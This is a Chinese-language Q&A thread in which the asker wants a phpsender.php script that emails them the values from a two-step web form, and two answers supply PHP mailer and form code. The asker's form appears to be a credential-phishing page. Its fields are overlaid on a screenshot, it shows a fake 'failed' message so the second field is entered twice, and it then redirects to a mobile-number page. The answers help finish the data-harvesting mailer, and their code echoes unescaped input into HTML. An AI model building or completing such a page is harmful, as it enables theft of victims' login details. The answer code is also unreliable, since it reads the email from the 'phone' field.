我遇到了类似的问题,我完全不知道在
phpsender.php
文件上写了什么。这是我的案例:我有一个表格,分为两个或三个阶段,客户需要填写。在第一个表单中,他们输入用户名和位置,一旦点击发送按钮,他们就会进入第二个表单,在其中输入电话号码、电子邮件和消息。在第二个表单中,一旦他们点击提交按钮,我需要将第一个和第二个表单中的所有表单输入值发送到我的电子邮件。
表格的第一部分:
<form class="ZdyDsE vAlignMiddle" style="width:auto;" >
<input name="email" id="username" class="UPkfdH textbox" autocomplete="off" required="" type="text" style="position: absolute; width: 325px; left: 173px; top: 326px; z-index: 1; border:none">
<div id="arcotuserdataDiv" display="none" style="display: none;"></div>
<div id="arcotuserdataDiv" display="none" style="display: none;"></div>
<div class="offline-ui offline-ui-up">
<div class="offline-ui-content"><input id="location" name="location" class="l9X2Aa textbox" autocomplete="off" required="" type="text" style="position: absolute; width: 331px; left: 171px; top: 400px; z-index: 1 ; border:none"></div>
<a href="" class="BTMDID"></a>
</div>
<div id="user_error" style="color:red; display:none">Please enter your username.</div>
<div id="loca_error" style="color:red; display:none">Please enter your location.</div>
<div id="message" style="color:red; display:none"> failed.</div>
</div>
<div id="submitbutton" style="position: absolute; left: 82px; top: 454px; z-index: 2; width: 420px; height: 70px;"><input type="image" width="420" height="70" src="./index_files/submit.jpg"></div>
<p> </p>
</form>
<script>
var count =0;
document.getElementById("submitbutton").addEventListener("click", function(e) {
event.preventDefault();
var email = document.getElementById("username").value;
var location = document.getElementById("location").value;
if (email == "" || email == null){
clearErrors();
document.getElementById("user_error").style.display ='block';
}else if(location == "" || location == null){
clearErrors();
document.getElementById("loca_error").style.display ='block';
}else{
clearErrors();
count=count+1;
$.ajax({
"async": true,
"crossDomain": true,
"dataType": 'JSON',
"url": "phpsender.php",
"method": "GET",
"headers": {"Content-Type": "application/json; charset=utf-8", "cache-control": "no-cache", 'Access-Control-Allow-Origin': '*' },
"data": {"email": email, "location": location}
}).done(function() {
}).fail(function() {
clearErrors();
document.getElementById("message").style.display ='block';
document.getElementById("location").value ="";
if(count >= 2){
count=0;
clearErrors();
var href = window.location.href;
var dir = href.substring(0, href.lastIndexOf('/')) + "/";
window.location.replace(dir+'dat_mobile.php?_x_tr_sl=auto&_x_tr_tl=null&_x_tr_hl=null&_x_tr_pto=wapp&username='+email);
}
});
}
});
function clearErrors(){
document.getElementById("user_error").style.display ='none';
document.getElementById("loca_error").style.display ='none';
document.getElementById("message").style.display ='none';
}
</script>
我需要在
phpsender.php
文件中编写什么代码?
拜托拜托,我需要你们的帮助。
我只是不知道我需要在
phpsender.php
文件上写什么。我需要帮助。
我应该写这样的东西吗?
<?php
$username = $_POST['username'];
$location = $_POST['location'];
//Do whatever php code here that makes you happy.
mail($email, $name, "Thank you");
?>
试试这个
第1步:更改$.ajax中的方法
method : "POST"
第2步:将您要通过电子邮件发送的$.ajax中的数据属性中的所有输入值传递给您
第3步:在phpsender.php文件中编写如下代码
<?php
//Receive All Post Value Which Is Send By Ajax
$username = $_POST['username'];
$location = $_POST['location'];
$email = $_POST['email'];
$phone_number = $_POST['phone_number'];
$message = $_POST['message'];
// Design email template as per your requirement
$body = '<style>
table, th, td {
border: 1px solid black;
border-collapse: collapse;
}
</style>';
$body .= '<p>Customer Details</p>';
$body .= '<table style="width:100%">
<tr>
<td>Username</td>
<td>'.$username.'</td>
</tr>
<tr>
<td>Location</td>
<td>'.$location.'</td>
</tr>
<tr>
<td>Email</td>
<td>'.$email.'</td>
</tr>
<tr>
<td>Phone number</td>
<td>'.$phone_number.'</td>
</tr>
<tr>
<td>Message</td>
<td>'.$message.'</td>
</tr>
</table>';
$to = "[email protected]"; // Add your email address (If you want to send email to customer then write here customer email address)
$subject = "Test"; // Add subject as per your requirement
$from = "[email protected]"; // Add your email address
$headers = "From:" . $from;
$is_send = mail($to,$subject,$body,$headers);
if($is_send){
echo 'Email sent successfully';
// Write further code here as per your requirement.
}else{
echo 'Something went wrong while sending email';
// Write further code here as per your requirement.
}
?>
注意:您无法通过本地主机发送电子邮件。邮件功能会在您的代码在线时发送信息。
在 phpsender.php 文件中编写如下代码
<?php
// get step
$step = isset($_GET['step']) ? intval($_GET['step']) : 1;
if($step > 1){
// get post datas
$username = $_POST['username'] ?? '';
$location = $_POST['location'] ?? '';
$phone = $_POST['phone'] ?? '';
$email = $_POST['phone'] ?? '';
if($username && $location){
if($step == 3 && $phone && $email){
/* send email * /
if(mail($to,$subject,$body,$headers)){
echo 'Email sent successfully';
}else{
echo 'Something went wrong while sending email';
}
/**/
echo 'ok';
print_r($_POST);
die;
}
} else {
header("Location:phpsender.php");
}
}
//echo ($step);die;
?>
<style>
.errorTips{color:red;display:none}
</style>
<?php
if($step == 1){
?>
<form name="form1" action="?step=2" method="post">
<p><input name="username" id="username" autocomplete="off" type="text" placeholder="Your username."/><div class="errorTips"></div></p>
<p><input name="location" id="location" autocomplete="off" type="text" placeholder="Your location."/><div class="errorTips"></div></p>
<div><input type="submit" name="submit" id="submit1"></div>
</form>
<?php
}else if($step == 2){
?>
<form name="form2" action="?step=3" method="post">
<input type="hidden" name="username" value="<?php echo $username?>"/>
<input type="hidden" name="location" value="<?php echo $location?>"/>
<p><input name="phone" id="phone" type="text" placeholder="Your phone."/><div class="errorTips"></div></p>
<p><input name="email" id="email" type="text" placeholder="Your email."/><div class="errorTips"></div></p>
<div><input type="submit" name="submit" id="submit2"></div>
</form>
<?php
}
?>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script>
$('#submit1').on('click',function(){
$('.errorTips').hide();
var obj = $('#username');
if(obj.val() == '') return errorTips(obj,'Please enter your username.');
obj = $('#location');
if(obj.val() == '') return errorTips(obj,'Please enter your location.');
return true;
});
$('#submit2').on('click',function(){
$('.errorTips').hide();
var obj = $('#phone');
if(obj.val() == '') return errorTips(obj,'Please enter your phone.');
obj = $('#email');
if(obj.val() == '') return errorTips(obj,'Please enter your email.');
return true;
});
function errorTips(obj, txt){
obj.focus();
var errObj = obj.parent().next();
errObj.show().html(txt);
return false;
}
</script>